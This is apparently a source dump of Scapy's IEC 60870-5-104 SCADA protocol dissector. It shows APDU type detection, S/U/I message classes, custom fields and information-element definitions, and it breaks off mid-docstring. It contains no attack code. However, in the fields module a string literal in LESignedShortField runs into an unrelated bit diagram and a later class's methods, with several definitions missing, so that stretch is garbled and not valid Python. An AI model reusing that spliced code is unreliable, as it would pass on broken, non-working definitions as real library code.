orb(data[4]) oct_1_bit_1 = bool(oct_1 & 1) oct_1_bit_2 = bool(oct_1 & 2) oct_3_bit_1 = bool(oct_3 & 1) if oct_1_bit_1 is False and oct_3_bit_1 is False: if len(data) < 8: return IEC104_APDU_TYPE_UNKNOWN is_seq_ioa = ((orb(data[7]) & 0x80) == 0x80) if is_seq_ioa: return IEC104_APDU_TYPE_I_SEQ_IOA else: return IEC104_APDU_TYPE_I_SINGLE_IOA if oct_1_bit_1 and oct_1_bit_2 is False and oct_3_bit_1 is False: return IEC104_APDU_TYPE_S if oct_1_bit_1 and oct_1_bit_2 and oct_3_bit_1 is False: return IEC104_APDU_TYPE_U return IEC104_APDU_TYPE_UNKNOWN class IEC104_APDU(Packet): """ basic Application Protocol Data Unit definition used by S/U/I messages """ def guess_payload_class(self, payload): payload_len = len(payload) if payload_len < 6: return self.default_payload_class(payload) if orb(payload[0]) != 0x68: self.default_payload_class(payload) # the length field contains the number of bytes starting from the # first control octet apdu_length = 2 + orb(payload[1]) if payload_len < apdu_length: warning( 'invalid len of APDU. given len: {} available len: {}'.format( apdu_length, payload_len)) return self.default_payload_class(payload) apdu_type = _iec104_apci_type_from_packet(payload) return IEC104_APDU_CLASSES.get(apdu_type, self.default_payload_class(payload)) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ detect type of the message by checking packet data :param _pkt: raw bytes of the packet layer data to be checked :param args: unused :param kargs: unused :return: class of the detected message type """ if _iec104_is_i_apdu_seq_ioa(_pkt): return IEC104_I_Message_SeqIOA if _iec104_is_i_apdu_single_ioa(_pkt): return IEC104_I_Message_SingleIOA if _iec104_is_u_apdu(_pkt): return IEC104_U_Message if _iec104_is_s_apdu(_pkt): return IEC104_S_Message return Raw class IEC104_S_Message(IEC104_APDU): """ message used for ack of received I-messages """ name = 'IEC-104 S APDU' fields_desc = [ XByteField('start', 0x68), ByteField("apdu_length", 4), ByteField('octet_1', 0x01), ByteField('octet_2', 0), IEC104SequenceNumber('rx_seq_num', 0), ] class IEC104_U_Message(IEC104_APDU): """ message used for connection tx control (start/stop) and monitoring (test) """ name = 'IEC-104 U APDU' fields_desc = [ XByteField('start', 0x68), ByteField("apdu_length", 4), BitField('testfr_con', 0, 1), BitField('testfr_act', 0, 1), BitField('stopdt_con', 0, 1), BitField('stopdt_act', 0, 1), BitField('startdt_con', 0, 1), BitField('startdt_act', 0, 1), BitField('octet_1_1_2', 3, 2), ByteField('octet_2', 0), ByteField('octet_3', 0), ByteField('octet_4', 0) ] def _i_msg_io_dispatcher_sequence(pkt, next_layer_data): """ get the type id and return the matching ASDU instance """ next_layer_class_type = IEC104_IO_CLASSES.get(pkt.type_id, conf.raw_layer) return next_layer_class_type(next_layer_data) def _i_msg_io_dispatcher_single(pkt, next_layer_data): """ get the type id and return the matching ASDU instance (information object address + regular ASDU information object fields) """ next_layer_class_type = IEC104_IO_WITH_IOA_CLASSES.get(pkt.type_id, conf.raw_layer) return next_layer_class_type(next_layer_data) class IEC104ASDUPacketListField(PacketListField): """ used to add a list of information objects to an I-message """ def m2i(self, pkt, m): """ add calling layer instance to the cls()-signature :param pkt: calling layer instance :param m: raw data forming the next layer :return: instance of the class representing the next layer """ return self.cls(pkt, m) class IEC104_I_Message_StructureException(Scapy_Exception): """ Exception raised if payload is not of type Information Object """ pass class IEC104_I_Message(IEC104_APDU): """ message used for transmitting data (APDU - Application Protocol Data Unit) APDU: MAGIC + APCI + ASDU MAGIC: 0x68 APCI : Control Information (rx/tx seq/ack numbers) ASDU : Application Service Data Unit - information object related data see EN 60870-5-104:2006, sec. 5 (p. 12) """ name = 'IEC-104 I APDU' IEC_104_MAGIC = 0x68 # dec -> 104 SQ_FLAG_SINGLE = 0 SQ_FLAG_SEQUENCE = 1 SQ_FLAGS = { SQ_FLAG_SINGLE: 'single', SQ_FLAG_SEQUENCE: 'sequence' } TEST_DISABLED = 0 TEST_ENABLED = 1 TEST_FLAGS = { TEST_DISABLED: 'disabled', TEST_ENABLED: 'enabled' } ACK_POSITIVE = 0 ACK_NEGATIVE = 1 ACK_FLAGS = { ACK_POSITIVE: 'positive', ACK_NEGATIVE: 'negative' } fields_desc = [] def __init__(self, _pkt=b"", post_transform=None, _internal=0, _underlayer=None, **fields): super(IEC104_I_Message, self).__init__(_pkt=_pkt, post_transform=post_transform, _internal=_internal, _underlayer=_underlayer, **fields) if 'io' in fields and fields['io']: self._information_object_update(fields['io']) def _information_object_update(self, io_instances): """ set the type_id in the ASDU header based on the given information object (io) and check for valid structure :param io_instances: information object """ if not isinstance(io_instances, list): io_instances = [io_instances] first_io = io_instances[0] first_io_class = first_io.__class__ if not issubclass(first_io_class, IEC104_IO_Packet): raise IEC104_I_Message_StructureException( 'information object payload must be a subclass of ' 'IEC104_IO_Packet') self.type_id = first_io.iec104_io_type_id() # ensure all io elements within the ASDU share the same class type for io_inst in io_instances[1:]: if io_inst.__class__ != first_io_class: raise IEC104_I_Message_StructureException( 'each information object within the ASDU must be of ' 'the same class type (first io: {}, ' 'current io: {})'.format(first_io_class._name, io_inst._name)) class IEC104_I_Message_SeqIOA(IEC104_I_Message): """ all information objects share a base information object address field sq = 1, see EN 60870-5-101:2003, sec. 7.2.2.1 (p. 33) """ name = 'IEC-104 I APDU (Seq IOA)' fields_desc = [ # APCI XByteField('start', IEC104_I_Message.IEC_104_MAGIC), FieldLenField("apdu_length", None, fmt="!B", length_of='io', adjust=lambda pkt, x: x + 13), IEC104SequenceNumber('tx_seq_num', 0), IEC104SequenceNumber('rx_seq_num', 0), # ASDU ByteEnumField('type_id', 0, IEC104_IO_NAMES), BitEnumField('sq', IEC104_I_Message.SQ_FLAG_SEQUENCE, 1, IEC104_I_Message.SQ_FLAGS), BitFieldLenField('num_io', None, 7, count_of='io'), BitEnumField('test', 0, 1, IEC104_I_Message.TEST_FLAGS), BitEnumField('ack', 0, 1, IEC104_I_Message.ACK_FLAGS), BitEnumField('cot', 0, 6, CAUSE_OF_TRANSMISSIONS), ByteField('origin_address', 0), LEShortField('common_asdu_address', 0), LEThreeBytesField('information_object_address', 0), IEC104ASDUPacketListField('io', conf.raw_layer(), _i_msg_io_dispatcher_sequence, length_from=lambda pkt: pkt.apdu_length - 13) ] def post_dissect(self, s): if self.type_id == IEC104_IO_ID_C_RD_NA_1: # IEC104_IO_ID_C_RD_NA_1 has no payload. we will add the layer # manually to the stack right now. we do this num_io times # as - even if it makes no sense - someone could decide # to add more than one read commands in a sequence... setattr(self, 'io', [IEC104_IO_C_RD_NA_1()] * self.num_io) return s class IEC104_I_Message_SingleIOA(IEC104_I_Message): """ every information object contains an individual information object address field sq = 0, see EN 60870-5-101:2003, sec. 7.2.2.1 (p. 33) """ name = 'IEC-104 I APDU (single IOA)' fields_desc = [ # APCI XByteField('start', IEC104_I_Message.IEC_104_MAGIC), FieldLenField("apdu_length", None, fmt="!B", length_of='io', adjust=lambda pkt, x: x + 10), IEC104SequenceNumber('tx_seq_num', 0), IEC104SequenceNumber('rx_seq_num', 0), # ASDU ByteEnumField('type_id', 0, IEC104_IO_NAMES), BitEnumField('sq', IEC104_I_Message.SQ_FLAG_SINGLE, 1, IEC104_I_Message.SQ_FLAGS), BitFieldLenField('num_io', None, 7, count_of='io'), BitEnumField('test', 0, 1, IEC104_I_Message.TEST_FLAGS), BitEnumField('ack', 0, 1, IEC104_I_Message.ACK_FLAGS), BitEnumField('cot', 0, 6, CAUSE_OF_TRANSMISSIONS), ByteField('origin_address', 0), LEShortField('common_asdu_address', 0), IEC104ASDUPacketListField('io', conf.raw_layer(), _i_msg_io_dispatcher_single, length_from=lambda pkt: pkt.apdu_length - 10) ] IEC104_APDU_CLASSES = { IEC104_APDU_TYPE_UNKNOWN: conf.raw_layer, IEC104_APDU_TYPE_I_SEQ_IOA: IEC104_I_Message_SeqIOA, IEC104_APDU_TYPE_I_SINGLE_IOA: IEC104_I_Message_SingleIOA, IEC104_APDU_TYPE_U: IEC104_U_Message, IEC104_APDU_TYPE_S: IEC104_S_Message } def _iec104_is_i_apdu_seq_ioa(payload): len_payload = len(payload) if len_payload < 6: return False if orb(payload[0]) != 0x68 or ( orb(payload[1]) + 2) > len_payload or len_payload < 8: return False return IEC104_APDU_TYPE_I_SEQ_IOA == _iec104_apci_type_from_packet(payload) def _iec104_is_i_apdu_single_ioa(payload): len_payload = len(payload) if len_payload < 6: return False if orb(payload[0]) != 0x68 or ( orb(payload[1]) + 2) > len_payload or len_payload < 8: return False return IEC104_APDU_TYPE_I_SINGLE_IOA == _iec104_apci_type_from_packet( payload) def _iec104_is_u_apdu(payload): if len(payload) < 6: return False if orb(payload[0]) != 0x68 or orb(payload[1]) != 4: return False return IEC104_APDU_TYPE_U == _iec104_apci_type_from_packet(payload) def _iec104_is_s_apdu(payload): if len(payload) < 6: return False if orb(payload[0]) != 0x68 or orb(payload[1]) != 4: return False return IEC104_APDU_TYPE_S == _iec104_apci_type_from_packet(payload) def iec104_decode(payload): """ can be used to dissect payload of a TCP connection :param payload: the application layer data (IEC104-APDU(s)) :return: iec104 (I/U/S) message instance, conf.raw_layer() if unknown """ if _iec104_is_i_apdu_seq_ioa(payload): return IEC104_I_Message_SeqIOA(payload) elif _iec104_is_i_apdu_single_ioa(payload): return IEC104_I_Message_SingleIOA(payload) elif _iec104_is_s_apdu(payload): return IEC104_S_Message(payload) elif _iec104_is_u_apdu(payload): return IEC104_U_Message(payload) else: return conf.raw_layer(payload) bind_layers(TCP, IEC104_APDU, sport=IEC_104_IANA_PORT) bind_layers(TCP, IEC104_APDU, dport=IEC_104_IANA_PORT) ================================================ FILE: scapy/contrib/scada/iec104/iec104_fields.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Thomas Tannhaeuser # scapy.contrib.status = skip """ field type definitions used by iec 60870-5-104 layer (iec104) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :description: This file provides field definitions used by the IEC-60870-5-104 implementation. Some of those fields are used exclusively by iec104 (e.g. IEC104SequenceNumber) while others (LESignedShortField) are more common an may be moved to fields.py. normative references: - EN 60870-5-104:2006 - EN 60870-5-4:1993 - EN 60870-5-4:1994 """ import struct from scapy.compat import orb from scapy.fields import Field, ThreeBytesField, BitField from scapy.volatile import RandSShort class LESignedShortField(Field): """ little endian signed short field """ def __init__(self, name, default): Field.__init__(self, name, default, "7 6 5 4 3 2 1 0 +---+---+---+---+---+---+---+---+---------+ | | | | | | |LSB| 0 | =byte 0 | +---+---+---+---+---+---+---+---+---------+ |MSB| | | | | | | | =byte 1 | +---+---+---+---+---+---+---+---+---------+ """ def __init__(self, name, default): Field.__init__(self, name, default, "!I") def addfield(self, pkt, s, val): b0 = (val << 1) & 0xfe b1 = val >> 7 return s + bytes(bytearray([b0, b1])) def getfield(self, pkt, s): b0 = (orb(s[0]) & 0xfe) >> 1 b1 = orb(s[1]) seq_num = b0 + (b1 << 7) return s[2:], seq_num class IEC104SignedSevenBitValue(BitField): """ Typ 2.1, 7 Bit, [-64..63] see EN 60870-5-4:1994, Typ 2.1 (p. 13) """ def __init__(self, name, default): BitField.__init__(self, name, default, 7) def m2i(self, pkt, x): if x & 64: x = x - 128 return x def i2m(self, pkt, x): sign = 0 if x < 0: sign = 64 x = x + 64 x = x | sign return x ================================================ FILE: scapy/contrib/scada/iec104/iec104_information_elements.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Thomas Tannhaeuser # scapy.contrib.status = skip """ information element definitions used by IEC 60870-5-101/104 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :description: This module provides the information element (IE) definitions used to compose the ASDUs (Application Service Data Units) used within the IEC 60870-5-101 and IEC 60870-5-104 protocol. normative references: - IEC 60870-5-4:1993 (atomic base types / data format) - IEC 60870-5-101:2003 (information elements (sec. 7.2.6) and ASDU definition (sec. 7.3)) - IEC 60870-5-104:2006 (information element TSC (sec. 8.8, p. 44)) :TODO: - some definitions should use signed types as outlined in the standard - normed value element should use a float type """ from scapy.contrib.scada.iec104.iec104_fields import \ IEC60870_5_4_NormalizedFixPoint, IEC104SignedSevenBitValue, \ LESignedShortField, LEIEEEFloatField from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, LEShortField, LESignedIntField, MayEnd, ThreeBytesField, ) def _generate_attributes_and_dicts(cls): """ create class attributes and dict entries for range-based attributes class attributes will take the form: cls._ dictionary entries will be generated as: the_dict[index] = " ()" expects a GENERATED_ATTRIBUTES attribute within the class that contains a list of the specification for the attributes and dictionary entries to be generated. each list entry must have this format: (attribute_name_prefix, dict_entry_prefix, dictionary, first_index, last_index) with - the prefix of the attribute name first_index - index of the first attribute to be generated last_index - index of the last attribute to be generated :param cls: the class the attributes should be added to :return: cls extended by generated attributes """ for attribute_name_prefix, dict_entry_prefix, the_dict, first_index, \ last_index \ in cls.GENERATED_ATTRIBUTES: for index in range(first_index, last_index + 1): the_dict[index] = '{} ({})'.format(dict_entry_prefix, index) setattr(cls, '{}_{}'.format(attribute_name_prefix, index), index) return cls class IEC104_IE_CommonQualityFlags: """ common / shared information element quality flags """ IV_FLAG_VALID = 0 IV_FLAG_INVALID = 1 IV_FLAGS = { IV_FLAG_VALID: 'valid', IV_FLAG_INVALID: 'invalid' } NT_FLAG_CURRENT_VALUE = 0 NT_FLAG_OLD_VALUE = 1 NT_FLAGS = { NT_FLAG_CURRENT_VALUE: 'current value', NT_FLAG_OLD_VALUE: 'old value' } SB_FLAG_NOT_SUBSTITUTED = 0 SB_FLAG_SUBSTITUTED = 1 SB_FLAGS = { SB_FLAG_NOT_SUBSTITUTED: 'not substituted', SB_FLAG_SUBSTITUTED: 'substituted' } BL_FLAG_NOT_BLOCKED = 0 BL_FLAG_BLOCKED = 1 BL_FLAGS = { BL_FLAG_NOT_BLOCKED: 'not blocked', BL_FLAG_BLOCKED: 'blocked' } EI_FLAG_ELAPSED_TIME_VALID = 0 EI_FLAG_ELAPSED_TIME_INVALID = 1 EI_FLAGS = { EI_FLAG_ELAPSED_TIME_VALID: 'elapsed time valid', EI_FLAG_ELAPSED_TIME_INVALID: 'elapsed time invalid' } class IEC104_IE_SIQ(IEC104_IE_CommonQualityFlags): """ SIQ - single point information with quality descriptor EN 60870-5-101:2003, sec. 7.2.6.1 (p. 44) """ SPI_FLAG_STATE_OFF = 0 SPI_FLAG_STATE_ON = 1 SPI_FLAGS = { SPI_FLAG_STATE_OFF: 'off', SPI_FLAG_STATE_ON: 'on' } informantion_element_fields = [ BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), # live or cached old value BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), # value substituted BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), # blocked BitField('reserved', 0, 3), BitEnumField('spi_value', 0, 1, SPI_FLAGS) ] class IEC104_IE_DIQ(IEC104_IE_CommonQualityFlags): """ DIQ - double-point information with quality descriptor EN 60870-5-101:2003, sec. 7.2.6.2 (p. 44) """ DPI_FLAG_STATE_UNDEFINED_OR_TRANSIENT = 0 DPI_FLAG_STATE_OFF = 1 DPI_FLAG_STATE_ON = 2 DPI_FLAG_STATE_UNDEFINED = 3 DPI_FLAGS = { DPI_FLAG_STATE_UNDEFINED_OR_TRANSIENT: 'undefined/transient', DPI_FLAG_STATE_OFF: 'off', DPI_FLAG_STATE_ON: 'on', DPI_FLAG_STATE_UNDEFINED: 'undefined' } informantion_element_fields = [ BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), # live or cached old value BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), # value substituted BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), # blocked BitField('reserved', 0, 2), BitEnumField('dpi_value', 0, 2, DPI_FLAGS) ] class IEC104_IE_QDS(IEC104_IE_CommonQualityFlags): """ QDS - quality descriptor separate object EN 60870-5-101:2003, sec. 7.2.6.3 (p. 45) """ OV_FLAG_NO_OVERFLOW = 0 OV_FLAG_OVERFLOW = 1 OV_FLAGS = { OV_FLAG_NO_OVERFLOW: 'no overflow', OV_FLAG_OVERFLOW: 'overflow' } informantion_element_fields = [ BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), # live or cached old value BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), # value substituted BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), # blocked BitField('reserved', 0, 3), BitEnumField('ov', 0, 1, OV_FLAGS), # overflow ] class IEC104_IE_QDP(IEC104_IE_CommonQualityFlags): """ QDP - quality descriptor protection equipment separate object EN 60870-5-101:2003, sec. 7.2.6.4 (p. 46) """ informantion_element_fields = [ BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), # live or cached old value BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), # value substituted BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), # blocked BitEnumField('ei', 0, 1, IEC104_IE_CommonQualityFlags.EI_FLAGS), # blocked BitField('reserved_qdp', 0, 3) ] class IEC104_IE_VTI: """ VTI - value with transient state indication EN 60870-5-101:2003, sec. 7.2.6.5 (p. 47) """ TRANSIENT_STATE_DISABLED = 0 TRANSIENT_STATE_ENABLED = 1 TRANSIENT_STATE_FLAGS = { TRANSIENT_STATE_DISABLED: 'device not in transient state', TRANSIENT_STATE_ENABLED: 'device in transient state' } informantion_element_fields = [ BitEnumField('transient_state', 0, 1, TRANSIENT_STATE_FLAGS), IEC104SignedSevenBitValue('value', 0) ] class IEC104_IE_NVA: """ NVA - normed value EN 60870-5-101:2003, sec. 7.2.6.6 (p. 47) """ informantion_element_fields = [ IEC60870_5_4_NormalizedFixPoint('normed_value', 0) ] class IEC104_IE_SVA: """ SVA - scaled value EN 60870-5-101:2003, sec. 7.2.6.7 (p. 47) """ informantion_element_fields = [ LESignedShortField('scaled_value', 0) ] class IEC104_IE_R32_IEEE_STD_754: """ R32-IEEE STD 754 - short floating point value EN 60870-5-101:2003, sec. 7.2.6.8 (p. 47) """ informantion_element_fields = [ LEIEEEFloatField('scaled_value', 0) ] class IEC104_IE_BCR: """ BCR - binary counter reading EN 60870-5-101:2003, sec. 7.2.6.9 (p. 47) """ CA_FLAG_COUNTER_NOT_ADJUSTED = 0 CA_FLAG_COUNTER_ADJUSTED = 1 CA_FLAGS = { CA_FLAG_COUNTER_NOT_ADJUSTED: 'counter not adjusted', CA_FLAG_COUNTER_ADJUSTED: 'counter adjusted' } CY_FLAG_NO_OVERFLOW = 0 CY_FLAG_OVERFLOW = 1 CY_FLAGS = { CY_FLAG_NO_OVERFLOW: 'no overflow', CY_FLAG_OVERFLOW: 'overflow' } informantion_element_fields = [ LESignedIntField('counter_value', 0), BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('ca', 0, 1, CA_FLAGS), # counter adjusted BitEnumField('cy', 0, 1, CY_FLAGS), # carry flag / overflow BitField('sq', 0, 5) # sequence ] class IEC104_IE_SEP(IEC104_IE_CommonQualityFlags): """ SEP - single event of protection equipment EN 60870-5-101:2003, sec. 7.2.6.10 (p. 48) """ ES_FLAG_STATE_UNDEFINED_0 = 0 ES_FLAG_STATE_OFF = 1 ES_FLAG_STATE_ON = 2 ES_FLAG_STATE_UNDEFINED_3 = 3 ES_FLAGS = { ES_FLAG_STATE_UNDEFINED_0: 'undefined (0)', ES_FLAG_STATE_OFF: 'off', ES_FLAG_STATE_ON: 'on', ES_FLAG_STATE_UNDEFINED_3: 'undefined (3)', } informantion_element_fields = [ BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), # invalid BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), # live or cached old value BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), # value substituted BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), # blocked BitEnumField('ei', 0, 1, IEC104_IE_CommonQualityFlags.EI_FLAGS), # time valid BitField('reserved', 0, 1), BitEnumField('es', 0, 2, ES_FLAGS), # event state ] class IEC104_IE_SPE: """ SPE - start events of protection equipment EN 60870-5-101:2003, sec. 7.2.6.11 (p. 48) """ GS_FLAG_NO_GENERAL_TRIGGER = 0 GS_FLAG_GENERAL_TRIGGER = 1 GS_FLAGS = { GS_FLAG_NO_GENERAL_TRIGGER: 'general trigger', GS_FLAG_GENERAL_TRIGGER: 'no general trigger' } # protection relays - start of operation - fault detection per phase SL_FLAG_START_OPR_PHASE_L1_NO_TRIGGER = 0 SL_FLAG_START_OPR_PHASE_L1_TRIGGER = 1 SL_FLAG_START_OPR_PHASE_L2_NO_TRIGGER = 0 SL_FLAG_START_OPR_PHASE_L2_TRIGGER = 1 SL_FLAG_START_OPR_PHASE_L3_NO_TRIGGER = 0 SL_FLAG_START_OPR_PHASE_L3_TRIGGER = 1 SL_FLAGS = { SL_FLAG_START_OPR_PHASE_L1_NO_TRIGGER: 'no start of operation', SL_FLAG_START_OPR_PHASE_L1_TRIGGER: 'start of operation' } # protection event start caused by earth current SIE_FLAG_START_OPR_PHASE_IE_NO_TRIGGER = 0 SIE_FLAG_START_OPR_PHASE_IE_TRIGGER = 1 SIE_FLAGS = { SIE_FLAG_START_OPR_PHASE_IE_NO_TRIGGER: 'no start of operation', SIE_FLAG_START_OPR_PHASE_IE_TRIGGER: 'start of operation' } # direction of the started protection event SRD_FLAG_DIRECTION_FORWARD = 0 SRD_FLAG_DIRECTION_BACKWARD = 1 SRD_FLAGS = { SRD_FLAG_DIRECTION_FORWARD: 'forward', SRD_FLAG_DIRECTION_BACKWARD: 'backward' } informantion_element_fields = [ BitField('reserved', 0, 2), BitEnumField('srd', 0, 1, SRD_FLAGS), BitEnumField('sie', 0, 1, SIE_FLAGS), BitEnumField('sl3', 0, 1, SL_FLAGS), BitEnumField('sl2', 0, 1, SL_FLAGS), BitEnumField('sl1', 0, 1, SL_FLAGS), BitEnumField('gs', 0, 1, GS_FLAGS) ] class IEC104_IE_OCI: """ OCI - output circuit information of protection equipment EN 60870-5-101:2003, sec. 7.2.6.12 (p. 49) """ # all 3 phases off command GC_FLAG_NO_GENERAL_COMMAND_OFF = 0 GC_FLAG_GENERAL_COMMAND_OFF = 1 GC_FLAGS = { GC_FLAG_NO_GENERAL_COMMAND_OFF: 'no general off', GC_FLAG_GENERAL_COMMAND_OFF: 'general off' } # phase based off command # protection relays - start of operation - fault detection per phase CL_FLAG_NO_COMMAND_L1_OFF = 0 CL_FLAG_COMMAND_L1_OFF = 1 CL_FLAG_NO_COMMAND_L2_OFF = 0 CL_FLAG_COMMAND_L2_OFF = 1 CL_FLAG_NO_COMMAND_L3_OFF = 0 CL_FLAG_COMMAND_L3_OFF = 1 CL_FLAGS = { CL_FLAG_NO_COMMAND_L1_OFF: 'no command off', CL_FLAG_COMMAND_L1_OFF: 'no command off' } informantion_element_fields = [ BitField('reserved', 0, 4), BitEnumField('cl3', 0, 1, CL_FLAGS), # command Lx BitEnumField('cl2', 0, 1, CL_FLAGS), BitEnumField('cl1', 0, 1, CL_FLAGS), BitEnumField('gc', 0, 1, GC_FLAGS), # general off ] class IEC104_IE_BSI: """ BSI - binary state information EN 60870-5-101:2003, sec. 7.2.6.13 (p. 49) """ informantion_element_fields = [ BitField('bsi', 0, 32) ] class IEC104_IE_FBP: """ FBP - fixed test bit pattern EN 60870-5-101:2003, sec. 7.2.6.14 (p. 49) """ informantion_element_fields = [ LEShortField('fbp', 0) ] @_generate_attributes_and_dicts class IEC104_IE_QOC: """ QOC - qualifier of command EN 60870-5-101:2003, sec. 7.2.6.26 (p. 54) """ QU_FLAG_NO_ADDITIONAL_PARAMETERS = 0 QU_FLAG_SHORT_COMMAND_EXEC_TIME = 1 # e.g. controlling a power switch QU_FLAG_LONG_COMMAND_EXEC_TIME = 2 QU_FLAG_PERMANENT_COMMAND = 3 QU_FLAGS = { QU_FLAG_NO_ADDITIONAL_PARAMETERS: 'no additional parameter', QU_FLAG_SHORT_COMMAND_EXEC_TIME: 'short execution time', QU_FLAG_LONG_COMMAND_EXEC_TIME: 'long execution time', QU_FLAG_PERMANENT_COMMAND: 'permanent command', } GENERATED_ATTRIBUTES = [ ('QU_FLAG_RESERVED_COMPATIBLE', 'reserved - compatible', QU_FLAGS, 4, 8), ('QU_FLAG_RESERVED_PREDEFINED_FUNCTION', 'reserved - predefined function', QU_FLAGS, 9, 15), ('QU_FLAG_RESERVED_PRIVATE', 'reserved - private', QU_FLAGS, 16, 31) ] SE_FLAG_EXECUTE = 0 SE_FLAG_SELECT = 1 SE_FLAGS = { SE_FLAG_EXECUTE: 'execute', SE_FLAG_SELECT: 'select' } informantion_element_fields = [ BitEnumField('s_or_e', 0, 1, SE_FLAGS), BitEnumField('qu', 0, 5, QU_FLAGS) ] class IEC104_IE_SCO(IEC104_IE_QOC): """ SCO - single command EN 60870-5-101:2003, sec. 7.2.6.15 (p. 50) """ SCS_FLAG_STATE_OFF = 0 SCS_FLAG_STATE_ON = 1 SCS_FLAGS = { SCS_FLAG_STATE_OFF: 'off', SCS_FLAG_STATE_ON: 'on' } informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [ BitField('reserved', 0, 1), BitEnumField('scs', 0, 1, SCS_FLAGS) ] class IEC104_IE_DCO(IEC104_IE_QOC): """ DCO - double command EN 60870-5-101:2003, sec. 7.2.6.16 (p. 50) """ DCS_FLAG_STATE_INVALID_0 = 0 DCS_FLAG_STATE_OFF = 1 DCS_FLAG_STATE_ON = 2 DCS_FLAG_STATE_INVALID_3 = 3 DCS_FLAGS = { DCS_FLAG_STATE_INVALID_0: 'invalid (0)', DCS_FLAG_STATE_OFF: 'off', DCS_FLAG_STATE_ON: 'on', DCS_FLAG_STATE_INVALID_3: 'invalid (3)', } informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [ BitEnumField('dcs', 0, 2, DCS_FLAGS) ] class IEC104_IE_RCO(IEC104_IE_QOC): """ RCO - regulating step command EN 60870-5-101:2003, sec. 7.2.6.17 (p. 50) """ RCO_FLAG_STATE_INVALID_0 = 0 RCO_FLAG_STATE_STEP_DOWN = 1 RCO_FLAG_STATE_STEP_UP = 2 RCO_FLAG_STATE_INVALID_3 = 3 RCO_FLAGS = { RCO_FLAG_STATE_INVALID_0: 'invalid (0)', RCO_FLAG_STATE_STEP_DOWN: 'step down', RCO_FLAG_STATE_STEP_UP: 'step up', RCO_FLAG_STATE_INVALID_3: 'invalid (3)', } informantion_element_fields = IEC104_IE_QOC.informantion_element_fields + [ BitEnumField('rcs', 0, 2, RCO_FLAGS) ] class IEC104_IE_CP56TIME2A(IEC104_IE_CommonQualityFlags): """ CP56Time2a - dual time, 7 octets (milliseconds, valid flag, minutes, hours, summer-time-indicator, day of month, weekday, years) well, someone should have talked to them about the idea of the unix timestamp... EN 60870-5-101:2003, sec. 7.2.6.18 (p. 50) time representation format according IEC 60870-5-4:1993, sec. 6.8, p. 23 """ WEEK_DAY_FLAG_UNUSED = 0 WEEK_DAY_FLAG_MONDAY = 1 WEEK_DAY_FLAG_TUESDAY = 2 WEEK_DAY_FLAG_WEDNESDAY = 3 WEEK_DAY_FLAG_THURSDAY = 4 WEEK_DAY_FLAG_FRIDAY = 5 WEEK_DAY_FLAG_SATURDAY = 6 WEEK_DAY_FLAG_SUNDAY = 7 WEEK_DAY_FLAGS = { WEEK_DAY_FLAG_UNUSED: 'unused', WEEK_DAY_FLAG_MONDAY: 'Monday', WEEK_DAY_FLAG_TUESDAY: 'Tuesday', WEEK_DAY_FLAG_WEDNESDAY: 'Wednesday', WEEK_DAY_FLAG_THURSDAY: 'Thursday', WEEK_DAY_FLAG_FRIDAY: 'Friday', WEEK_DAY_FLAG_SATURDAY: 'Saturday', WEEK_DAY_FLAG_SUNDAY: 'Sunday' } GEN_FLAG_REALTIME = 0 GEN_FLAG_SUBSTITUTED_TIME = 1 GEN_FLAGS = { GEN_FLAG_REALTIME: 'real time', GEN_FLAG_SUBSTITUTED_TIME: 'substituted time' } SU_FLAG_NORMAL_TIME = 0 SU_FLAG_SUMMER_TIME = 1 SU_FLAGS = { SU_FLAG_NORMAL_TIME: 'normal time', SU_FLAG_SUMMER_TIME: 'summer time' } informantion_element_fields = [ LEShortField('sec_milli', 0), BitEnumField('iv_time', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), BitEnumField('gen', 0, 1, GEN_FLAGS), # only valid in monitor direction ToDo: special treatment needed? BitField('minutes', 0, 6), BitEnumField('su', 0, 1, SU_FLAGS), BitField('reserved_2', 0, 2), BitField('hours', 0, 5), BitEnumField('weekday', 0, 3, WEEK_DAY_FLAGS), MayEnd(BitField('day_of_month', 0, 5)), BitField('reserved_3', 0, 4), BitField('month', 0, 4), BitField('reserved_4', 0, 1), BitField('year', 0, 7), ] class IEC104_IE_CP56TIME2A_START_TIME(IEC104_IE_CP56TIME2A): """ derived IE, used for ASDU that requires 